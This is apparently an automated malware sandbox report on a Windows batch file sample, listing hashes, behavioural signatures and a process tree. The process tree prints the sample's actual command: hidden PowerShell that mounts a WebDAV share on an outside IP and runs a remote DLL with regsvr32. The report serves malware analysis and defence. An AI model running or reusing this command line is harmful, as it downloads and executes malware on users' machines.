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Analysis
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max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
19/07/2024, 10:12
Static task
static1
Behavioral task
behavioral1
Sample
21629313822504324304.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
21629313822504324304.bat
Resource
win10v2004-20240709-en
General
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Target
21629313822504324304.bat
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Size
12KB
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MD5
d59dea041a233af9dd0e5e1a342de342
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SHA1
006b17de21ac79466c983dd4a6240d599111fc36
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SHA256
2db3d2a220ae4f1321b1a3c3dc07f83b3600e8018da0cd746f54279ca3d07476
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SHA512
3cc5c0420dd776ee3473cedbc766a14fee057ccba413182c18b3e8e767d6c47bc8099a2b33aeabb737d45e1a34b926c7dd9252769a49a3332585841bb4d4f1e7
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SSDEEP
192:2ybcFwsPD5Rxozx3Pg9ypGKkOg8/KX7hTvY5ibmGWBneRiBTNdPG2:2ywwa5rozZPa264iFTFbVavVPv
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2688 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2688 powershell.exe 2688 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2688 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4416 wordpad.exe 4416 wordpad.exe 4416 wordpad.exe 4416 wordpad.exe 4416 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2820 wrote to memory of 4416 2820 cmd.exe 85 PID 2820 wrote to memory of 4416 2820 cmd.exe 85 PID 2820 wrote to memory of 2688 2820 cmd.exe 87 PID 2820 wrote to memory of 2688 2820 cmd.exe 87 PID 2688 wrote to memory of 1556 2688 powershell.exe 90 PID 2688 wrote to memory of 1556 2688 powershell.exe 90 PID 2688 wrote to memory of 4844 2688 powershell.exe 91 PID 2688 wrote to memory of 4844 2688 powershell.exe 91
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\21629313822504324304.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:4416
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\17282824113999.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:1556
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\17282824113999.dll3⤵PID:4844
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:4728
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82